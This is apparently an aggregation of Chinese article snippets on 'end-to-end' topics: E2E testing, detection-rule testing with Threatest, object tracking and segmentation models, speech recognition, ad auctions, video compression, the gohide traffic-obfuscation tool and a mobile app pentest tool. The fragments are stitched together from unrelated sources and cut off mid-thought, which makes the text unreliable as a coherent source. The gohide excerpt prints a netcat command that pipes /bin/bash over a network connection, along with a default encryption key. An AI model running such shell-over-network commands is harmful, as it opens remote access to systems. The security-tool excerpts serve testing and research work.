为什么需要端到端测试 在每个冲刺中，开发团队和测试团队都专注于应用程序中使用的所有集成服务中的单个服务。大量微服务和子系统的功能和较短的测试时间会让他们有可能错过了子系统或服务中存在的隐患。...因此，质量检查小组必须确保单个服务中的特定更改不会影响整个工作流程。 端到端测试与传统测试 传统测试包括单元测试、集成测试、系统测试、验收测试。但是端到端测试是在系统测试之后开始的。...端到端测试步骤 这些是端到端测试必不可少的步骤： 需求分析：全面分析需求，并涵盖端到端工作流程中的主要业务组件。 环境设置：设置测试环境时要牢记生产环境的详细信息。...执行：执行整个端到端测试套件，然后分析结果。永远不要忘记按正确的顺序运行套件。如果需要，请在多个设备和系统中中执行端到端场景。...维护：由于端到端测试包含整个应用程序，因此测试用例比功能测试用例更为复杂。系统的每个组件都必须进行测试，这会增加故障百分比。执行的结构和顺序在端到端测试中至关重要。
机器学习在端到端测试中的核心优势是能够利用高度复杂的产品分析数据来识别和预测用户需求。...ML驱动的测试能够观察Web应用程序上的每个用户交互，了解用户经历的常见（和边缘）过程，并确保这些用例始终按预期运行。...如果该机器正在测试许多应用程序，那么它可以从所有这些应用程序中学习，以预期对应用程序的新更改将如何影响用户体验。 借助这些数据，机器学习驱动的测试已经可以比人类建立更好，更有意义的测试。...由ML驱动的自动化开发的测试比由人类构建的测试自动化更快，更便宜地构建和维护。 这样的测试可以带来更快（和更高质量）的部署，这对任何工程副总裁的预算都是一个福音。
其中，“端到端测试”（End-to-End Testing，简称E2E测试）和“集成测试”是我们经常会听到的两种测试方法。那么，它们分别是什么呢？有什么区别呢？在这篇文章中，我们就来详细探讨一下。...端到端测试是什么？ 端到端测试是一种软件测试方法，它的目标是验证整个系统是否按照预期工作。在端到端测试中，我们会模拟真实用户的行为，从开始到结束对整个系统进行一系列的操作，看看是否能得到预期的结果。...举个例子，假设我们正在测试一个网上购物的系统。在端到端测试中，我们可能会从打开网站开始，然后搜索商品，加入购物车，进行结算，最后确认订单，模拟一整套用户购物的行为。 集成测试是什么？...在集成测试中，我们会测试这三个模块联合起来能否正常工作，例如用户可以正常借阅和归还图书等。 端到端测试和集成测试的区别 端到端测试和集成测试的主要区别在于测试的范围和目标。...端到端测试更侧重于验证系统的整体功能，而集成测试更侧重于验证模块之间的交互。 在实际的软件测试过程中，我们通常会结合使用多种测试方法，包括单元测试，集成测试，端到端测试等，从不同的角度确保软件的质量。
关于Threatest Threatest是一个基于Go开发的安全测试框架，该框架可以帮助广大研究人员测试端到端威胁检测规则的有效性与可用性。...Threatest允许我们使用各种渗透测试技术对目标进行安全检测，并以此验证是否能够触发期望的安全警报。 ...测试和部署：测试规则，最好是针对真实世界的数据，以确保它按预期工作，不会产生太多误报。 维护：持续收集检测规则生成的警报指标，并根据需要采取修改和维护。 ...支持的渗透测试技术和警报匹配器 1、本地命令执行 2、SSH命令执行 3、Stratus红队相关 4、AWS相关 5、Datadog Security信号警报匹配器 工具下载 由于该工具基于Go...WithTimeout(15 * time.Minute)assert.NoError(t, threatest.Run()) (向右滑动、查看更多) 测试通过SSH运行命令触发的Datadog
在今天分享中，研究者提出了第一个完全端到端多目标跟踪框架MOTR。它学习了模拟目标的长距离时间变化。它隐式地执行时间关联，并避免了以前的显式启发式方法。...由于DETR的巨大成功，这项工作将“目标查询”的概念扩展到目标跟踪模型，在新框架中被称为跟踪查询。每个跟踪查询都负责预测一个目标的整个跟踪。...考虑到DETR中存在的高复杂性和慢收敛问题，Deformable DETR用多尺度deformable attention取代了self-attention。...为了展示目标查询如何通过解码器与特征交互，研究者重新制定了Deformable DETR的解码器。 MOTR 在MOTR中，研究者引入了跟踪查询和连续查询传递，以完全端到端的方式执行跟踪预测。...作为一种补救措施，研究者将目标查询扩展到目标跟踪模型，即跟踪查询。在新的设计中，每个轨迹查询都负责预测一个目标的整个轨迹。
深度学习通过引入端到端的模型改变了语音识别的规则。这些模型接收音频，并直接输出转录。目前最流行的两种端到端模型是百度的Deep Speech和谷歌的Listen Attend Spell（LAS）。...如何在PyTorch中构建自己的端到端语音识别模型 让我们逐一介绍如何在PyTorch中构建自己的端到端语音识别模型。..../", url="test-clean", download=True) 数据集的每个样本都包含波形、音频采样率、话语/标签，以及样本上更多的元数据。你可以在此处从源代码中查看每个示例。...该模型为输出字符的概率矩阵，我们将使用该矩阵将其输入到解码器中，提取模型认为是概率最高的字符。...CTC损失功能–将音频与文本对齐 我们的模型将接受训练，预测输入到模型中的声谱图中每一帧（即时间步长）字母表中所有字符的概率分布。 ?
Docker……终于誏我们真正能实现，将软件的开发变成“软件的组装”。“软件组装工厂，将真正的诞生”。 软件的组装的概念与相关的方法论，存在已有数十年。...“因为，开发人员很难，甚至是无法去构造一个使开发，测试与运维均能一致的环境。所以，开发人员是完全没办法在开发阶段，便能保证软件组装后的质量！”...“Docker Image, 以一极简单，轻量级的方式，使得上述的问题，找到一真正可行的解决方案。...“当能藉由 Cloud与 Docker, 真正实现软件组装，则一座座的软件组装工厂，将使软件开发的速度与效率，极速的成长，而将多核的硬件资源，使用到极致，为使用者提供更快，更好的使用者体验。...传统软件开发中的许多角色与职责，将会发生改变甚至是消失……”
那么，到底什么是端到端，它又是怎样改变我们的技术体验的呢？ 什么是端到端？ “端到端”这个术语，如果从字面上理解，就是从一端到另一端，没有任何中间环节。...而在端到端的方法中，你只需要给AI系统提供大量的猫的照片和“这不是猫”的照片，系统会自动学习如何从这些照片中区分出猫。它自己会找出哪些特征是识别猫的关键，而不需要人为地告诉它。...图像识别 在图像识别中，端到端的神经网络可以从原始像素中学习识别图像中的物体，而不需要先进行边缘检测、特征提取等传统步骤。 端到端可能产生的问题 尽管端到端技术带来了许多优势，但它也并非没有挑战。...不可解释性 端到端模型通常被视为“黑盒”，因为它们内部的决策过程不透明，难以解释。这在需要模型的决策过程能够被理解和信任的应用中，比如医疗诊断，可能会成为一个问题。...灾难性遗忘 当端到端模型学习新任务时，它们可能会忘记之前学到的信息，这被称为灾难性遗忘。这限制了模型在持续学习或多任务学习场景中的应用。
Padé Activation Units: End-to-end Learning of Flexible Activation Functions in Deep Networks 摘要：深度网络学习的性能很大程度上取决于与每个神经元相关的非线性激活函数的选择...然而，确定最佳激活是不容易的，选择取决于体系结构、超参数，甚至取决于数据集。通常，这些激活是在训练前用手固定的。在这里，我们演示了如何通过使用灵活的参数有理函数来消除对第一次选择固定激活函数的依赖。...由此产生的Padé激活单位(Paus)既可以近似共同的激活函数，也可以学习新的函数，同时提供紧凑的表示。...我们的经验证据表明，使用Paus的端到端学习深度网络可以提高预测性能，并减少普通深度架构的训练时间。此外，Paus还为具有可证明鲁棒性的逼近铺平了道路。
我们开始进入今天的主题，接下来主要和大家分享目标在视频中的实时分割技术，来，一起学习吧！ ? ?...与以前的工作相比，该嵌入仅用作卷积网络的内部指导，该技术新的动态分割头允许训练网络，包括嵌入，端到端的多目标分割任务的交叉熵损失。...然后，将它们提供给一个动态分割头，该动态分割头为每个像素(步长为4)在第一帧中的所有目标上产生后验分布。整个系统在不需要嵌入直接损失的情况下，对多目标分割进行端到端的训练。...在实际应用中，用一个大型矩阵乘积来计算全局匹配距离映射，由此得到当前帧到第一个帧之间的所有配对距离，然后应用对象极小化。 ? 上图也给出了一个局部匹配距离图的可视化实例。...每个目标都需要运行一次分割头，但是大多数计算都是在提取共享主干网络特征时进行的，这使得FEELVOS能够很好地扩展到多个目标。此外，能够训练端到端的多目标分割，甚至对可变数量的目标。
▐ 导读 拍卖机制设计一直是计算广告领域的核心问题，在本文中我们将机器学习和机制设计方法深度融合，提出一种基于深度神经网络建模的电商广告拍卖机制，并在满足 Value 最大化广告主激励兼容的机制解空间内实现多利益方目标的端到端优化...DNA 使用深度神经网络从原始拍卖数据中提取特征信息，并将机制分配过程编码到模型内部，利用一种可微分算子对该分配过程中的排序操作进行松弛，在分配结果和反馈信号间建立可微分梯度计算关系以支持端到端训练。...然而我们观察到近些年工业界的电商广告系统中，效用最大化广告主模型已不能完整描述广告主的核心诉求了。...排序”这一算子，从而能够与梯度下降训练方法结合，实现自动化的端到端训练。...例如：对于 topk 展现广告的收入，可以用该松弛矩阵简单地表示为： 由于整个计算路径不涉及离散操作，可以依据下游自定义的 loss metric 实现完整的端到端优化。
扫码在主页获取加入方式 论文链接: https://arxiv.org/pdf/2111.14330.pdf 计算机视觉研究院专栏 作者：Edison_G DETR是第一个使用transformer编码器-解码器架构的端到端对象检测器...01 前言 DETR是第一个使用transformer编码器-解码器架构的端到端对象检测器，在高分辨率特征图上展示了具有竞争力的性能但计算效率低。...在我们的初步实验中，我们观察到即使只更新了一部分encoder token，检测性能也几乎不会恶化。...最近Carion等人通过基于集合的目标消除了对NMS后处理的需要，引入了完全端到端的检测器DETR。训练目标采用匈牙利算法设计，既考虑分类成本，又考虑回归成本，并获得极具竞争力的性能。...此外，我们注意到每个编码器块中的附加辅助磁头在提高性能方面发挥着关键作用。仅将稀疏编码器token传递给编码器辅助头以提高效率。
内容整理：张一炜 本次演讲主要对论文《Bi-directional prediction for end-to-end optimized video compression》进行了介绍，本文以基于神经网络的端到端视频压缩框架为基础...目录 研究动机 方法提出 模型设计 双向预测 损失函数 实验结果 结论 研究动机 设计双向预测压缩模型的动机在于，现有的端到端视频压缩框架都是采用的 low delay P 的 GOP 结构，只是简单的前向单帧参考...并且，对于端到端的视频压缩框架来说，从一组图像中捕获运动信息时较为困难的，因此这篇论文提出了一种调整现有的以自编码器为主的帧内预测架构的方法，使得其能够采用更复杂的时域预测结构。...而在双向预测中，过去的参考帧和未来的参考帧拼接在一起输入到网络中，得到运动信息并也作为码流的一部分进行传输。在解码端进行解码分离后得到两个运动信息，并与对应的参考帧进行扭曲操作后生成预测帧。...实验结果 本文采用 BVI-DVC 和 BVTencent 作为训练集，并在 这四个点的情况下分别训练模型。测试数据集为HEVC标准测试序列。
关于gohide gohide是一款功能强大的网络通信数据加密工具，该工具可以通过一个模糊信道来对信道中的端到端数据进行AES-GCM加密。...-1 -salt ok | md5sum AES加密密钥: 使用'-k openssl passwd -1 -salt ok | md5sum' 从密码中获取密钥 (默认"5fe10ae58c5ad02a6113305f4e702d07...Box B - Netcat /bin/bash root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090 Box A - Netcat客户端.../gohide （向右滑动、查看更多） 混淆样例 websocket-client（Box A到Box B） Sec-WebSocket-Key包含AES-GCM加密内容： GET...6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62 Sec-WebSocket-Version: 13 （向右滑动、查看更多） websocket-server（Box B到Box
近日，厦门大学和腾讯优图联合发布了一种基于transformer的端到端的实例分割方法ISTR： ?...代码已经开源在：https://github. com/hujiecpp/ISTR。在类似FPS下，ISTR模型效果超过Mask R-CNN和SOLOv2： ?...ISTR的核心点是mask head不是直接预测一个2-D的mask，而是预测的是一个mask embedding，具体做法是基于PCA对sxs大小的mask进行降维，得到维度为l的embedding...vector，虽然看起来PCA可能会损失高维信息，实际上论文中发现mask的信息主要集中在前面的主成分中： ?...虽然ISTR的mask head是直接预测mask embeddings，但是从可视化的结果来看，生成的mask还是很精细的： ?
近日在github上发现一个机器学习的完整流程，附代码非常全，几乎适合任何监督学习的分类问题，本文提供代码和数据下载。...项目介绍： 这是一个受监督的回归机器学习任务：给定一组包含目标（在本例中为分数）的数据，我们希望训练一个可以学习将特征（也称为解释变量）映射到目标的模型。...在训练中，我们希望模型能够学习特征和分数之间的关系，因此我们给出了特征和答案。...然后，为了测试模型的学习效果，我们在一个从未见过答案的测试集上进行评估 我们在拿到一个机器学习问题之后，要做的第一件事就是制作出我们的机器学习项目清单。...你可以在任何时候返回前面的步骤并作出相应的修改。 代码部分 代码部分较长，仅贴代码的目录，完整代码在文末提供下载。 1.
然而，在这种异构且动态的环境中，如何构建端到端、一致的边缘体验成为了一大挑战。本文将深入探讨这一问题，并提供实用的解决方案。...数据一致性：在分布式环境中保证数据一致性是一个难题，尤其是在网络不稳定或设备离线的情况下。 在边缘计算中，异构性和动态环境是不可避免的挑战。 构建一致的边缘体验的方法 ️ 1....详细案例分析 案例一：智能交通系统中的边缘计算应用 在智能交通系统中，边缘计算可以用于实时监控和管理交通流量。...小结 边缘计算在异构、动态环境中的应用前景广阔，但也面临诸多挑战。通过标准化和抽象化、使用容器技术、分布式数据管理等方法，可以有效构建端到端、一致的边缘体验。...总结 边缘计算是未来的重要发展方向，通过合理的方法和技术手段，我们可以在异构、动态的环境中构建一致的边缘体验。
今天给大家介绍的是一款名叫Scrounger 的工具，广大研究人员可以使用这款工具来对移动端应用程序的安全性进行测试。...首先，这款工具参考和借鉴了很多目前安全社区里优秀的测试工具，其次就是它能够有效地找出移动端应用程序中存在的安全漏洞。 ?...虽然现在社区里有很多其他的移动端应用程序分析工具，但是没有一款是能够同时适用于Android和iOS端的。...Scrounger这款类似于Metasploit的工具虽然不能完全自动化地对目标进行渗透测试，但是它可以帮助渗透测试人员完成各种安全评估工作。...Scrounger已在iOS 11和Android 8.1上进行过测试，并且只支持Python 2.7。
1LLM赋能测试活动实现端到端自动化 1.1愿景： L4/5级的自动驾驶 测试活动主要围绕着测试设计、用例编写、执行、结果分析和补充验证等环节。...结合着AI4SE，畅想一下实现整个测试活动端到端的自动化的可行性，形成了如下4个阶段8项关键任务，如下图所示。...笔者建议从 单元测试-接口测试-整个测试活动的自动化，从小达到，按照PDCA的方式，不断扩大自动化环的外延，来逐步实现测试活动的端到端自动化。...按照PDCA理论，这一工作的任务明确、可验证性强，且可快速反馈，是端到端测试自动化的一个缩影。...另外一方面，通过”需求/调用链/代码行覆盖率“等测试完成指标的判定，提高对”假正确（漏报）“，也就是漏测缺陷的挖掘，进行补充测试。这在基于LLM的单元测试用例生成中已经是一个遴选有效用例的有效方案。
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